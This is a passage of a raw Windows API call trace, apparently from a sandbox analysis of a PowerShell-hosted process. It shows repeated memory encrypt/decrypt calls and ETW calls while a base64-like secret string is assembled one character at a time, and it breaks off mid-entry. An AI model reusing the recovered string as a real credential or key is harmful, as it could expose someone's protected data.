(param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe") returned 0x18 [0138.592] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe") returned 0x20 [0138.592] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.592] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLj撞呷䒻頒ⳳ㴦‭") returned 0x20 [0138.592] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.592] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x8d7b\x2be0\x2024\x27db\x6527\x1f9f\x50e9\x21f8") returned 0x20 [0138.592] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x8d7b\x2be0\x2024\x27db\x6527\x1f9f\x50e9\x21f8") returned 0x20 [0138.592] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.593] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjf呷䒻頒ⳳ㴦‭") returned 0x20 [0138.593] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.593] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x1c6d\x495e\xa43b\xe47e\x55c7\x7323\x29bd\x3097") returned 0x20 [0138.593] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x1c6d\x495e\xa43b\xe47e\x55c7\x7323\x29bd\x3097") returned 0x20 [0138.593] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.593] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfk䒻頒ⳳ㴦‭") returned 0x20 [0138.593] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.593] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x9ba0\x2743\x78\x3033\xd9ce\x99e9\x1495\x354c") returned 0x20 [0138.593] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x9ba0\x2743\x78\x3033\xd9ce\x99e9\x1495\x354c") returned 0x20 [0138.593] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.593] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkA頒ⳳ㴦‭") returned 0x20 [0138.593] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.593] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x4c19\x8639\xcc17\x2ab8\xd5b6\x702c\x3b3e\x1538") returned 0x20 [0138.593] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x4c19\x8639\xcc17\x2ab8\xd5b6\x702c\x3b3e\x1538") returned 0x20 [0138.593] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.593] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAoⳳ㴦‭") returned 0x20 [0138.593] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.593] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\xf405\x9746\x4481\x12f4\xba09\x6a2\x5e1f\x3032") returned 0x20 [0138.593] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\xf405\x9746\x4481\x12f4\xba09\x6a2\x5e1f\x3032") returned 0x20 [0138.594] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.594] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+㴦‭") returned 0x20 [0138.594] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.594] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\xf007\x1352\x49ad\x62c6\x5eba\x7c50\xd677\x2102") returned 0x20 [0138.594] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\xf007\x1352\x49ad\x62c6\x5eba\x7c50\xd677\x2102") returned 0x20 [0138.594] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.594] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+L‭") returned 0x20 [0138.594] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.594] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\xa0f2\xc049\xb1dc\xa061\xfc1a\x6c92\xadd3\xb1da") returned 0x20 [0138.594] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\xa0f2\xc049\xb1dc\xa061\xfc1a\x6c92\xadd3\xb1da") returned 0x20 [0138.594] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.594] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY") returned 0x20 [0138.594] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.594] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39") returned 0x20 [0138.594] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39") returned 0x20 [0138.594] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39") returned 0x20 [0138.594] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39") returned 0x28 [0138.594] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.595] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3歯๷鹓略徲啽࿪") returned 0x28 [0138.595] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.595] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x25c\x369e\x56ca\x92a\xd2b2\x8742\xc960\x934a") returned 0x28 [0138.595] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x25c\x369e\x56ca\x92a\xd2b2\x8742\xc960\x934a") returned 0x28 [0138.595] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.595] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3h๷鹓略徲啽࿪") returned 0x28 [0138.595] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.595] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x991\x5298\xd666\xb85f\x206b\x4769\xc766\xb5bb") returned 0x28 [0138.595] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x991\x5298\xd666\xb85f\x206b\x4769\xc766\xb5bb") returned 0x28 [0138.595] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.595] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQ鹓略徲啽࿪") returned 0x28 [0138.595] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.595] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\xddd7\x5892\x252e\xd560\x5637\xa613\xa237\x69f9") returned 0x28 [0138.595] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\xddd7\x5892\x252e\xd560\x5637\xa613\xa237\x69f9") returned 0x28 [0138.595] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.595] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQo略徲啽࿪") returned 0x28 [0138.595] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.595] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x11b9\xe296\x8228\x6f23\xbc07\x7bbb\x717c\x858a") returned 0x28 [0138.595] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x11b9\xe296\x8228\x6f23\xbc07\x7bbb\x717c\x858a") returned 0x28 [0138.596] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.596] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQoL徲啽࿪") returned 0x28 [0138.596] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.596] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x5335\xbacb\x762\xe88a\x25ea\x6a31\x27c1\x551") returned 0x28 [0138.596] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x5335\xbacb\x762\xe88a\x25ea\x6a31\x27c1\x551") returned 0x28 [0138.596] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.596] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQoLu啽࿪") returned 0x28 [0138.596] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.596] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\xffa8\x24d7\xab5f\xeb4e\xbdda\xb3cb\x7e49\xf21e") returned 0x28 [0138.596] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\xffa8\x24d7\xab5f\xeb4e\xbdda\xb3cb\x7e49\xf21e") returned 0x28 [0138.596] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.597] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQoLuQ࿪") returned 0x28 [0138.597] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.597] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x7899\x737f\xc44e\x1e9e\xd77f\x54c9\xceba\x9e58") returned 0x28 [0138.597] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x7899\x737f\xc44e\x1e9e\xd77f\x54c9\xceba\x9e58") returned 0x28 [0138.597] SystemFunction041 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.597] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQoLuQt") returned 0x28 [0138.597] SystemFunction040 (in: Memory=0x8ebfc2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc2c) returned 0x0 [0138.597] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098") returned 0x28 [0138.597] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098") returned 0x28 [0138.597] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098") returned 0x28 [0138.597] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098") returned 0x30 [0138.597] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0138.597] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQoLuQtM붰ጵ꒻턽㢰᷹䁋") returned 0x30 [0138.597] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0138.597] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098\x9d76\x5980\xd813\x398c\x6a0c\x6d1c\x10d7\xb5a4") returned 0x30 [0138.597] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098\x9d76\x5980\xd813\x398c\x6a0c\x6d1c\x10d7\xb5a4") returned 0x30 [0138.597] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0138.597] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQoLuQtM7ጵ꒻턽㢰᷹䁋") returned 0x30 [0138.597] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0138.598] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098\x53a8\xc8b7\xc0a2\x151c\x6291\xc262\xf4f\x3edd") returned 0x30 [0138.598] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098\x53a8\xc8b7\xc0a2\x151c\x6291\xc262\xf4f\x3edd") returned 0x30 [0138.598] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0138.598] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQoLuQtM7I꒻턽㢰᷹䁋") returned 0x30 [0138.598] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0138.598] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098\x6db4\xdfb0\x57fd\x7fb\x810c\x5b9d\xecd\x1b34") returned 0x30 [0138.598] SysStringLen (param_1="\xda7f\xf116\x7df4\x2f1c\x188e\xee\xf41f\x6681\x1160\xf8a3\x2234\x33d3\x33fb\x72f2\x892c\xd89e\x9b10\x64b4\x273f\x45bd\x5cd2\x3866\x78dd\x10fe\x83e5\x6b45\x7d3f\x9f55\x3db6\x4b27\x1086\x3f39\x9e60\xbd9a\x607d\xa5bd\x15fd\x2c25\x5802\x7098\x6db4\xdfb0\x57fd\x7fb\x810c\x5b9d\xecd\x1b34") returned 0x30 [0138.598] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0138.598] SysStringLen (param_1="QKlyli9PoSnssnOi1kp5QPDLjfkAo+LY3hQoLuQtM7I=턽㢰᷹䁋") returned 0x30 [0138.598] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0138.598] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.598] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.598] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.598] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0138.598] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.598] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x65, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.598] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x67, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.599] SysStringLen (param_1="") returned 0x8 [0138.599] SysStringLen (param_1="Y") returned 0x8 [0138.599] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, 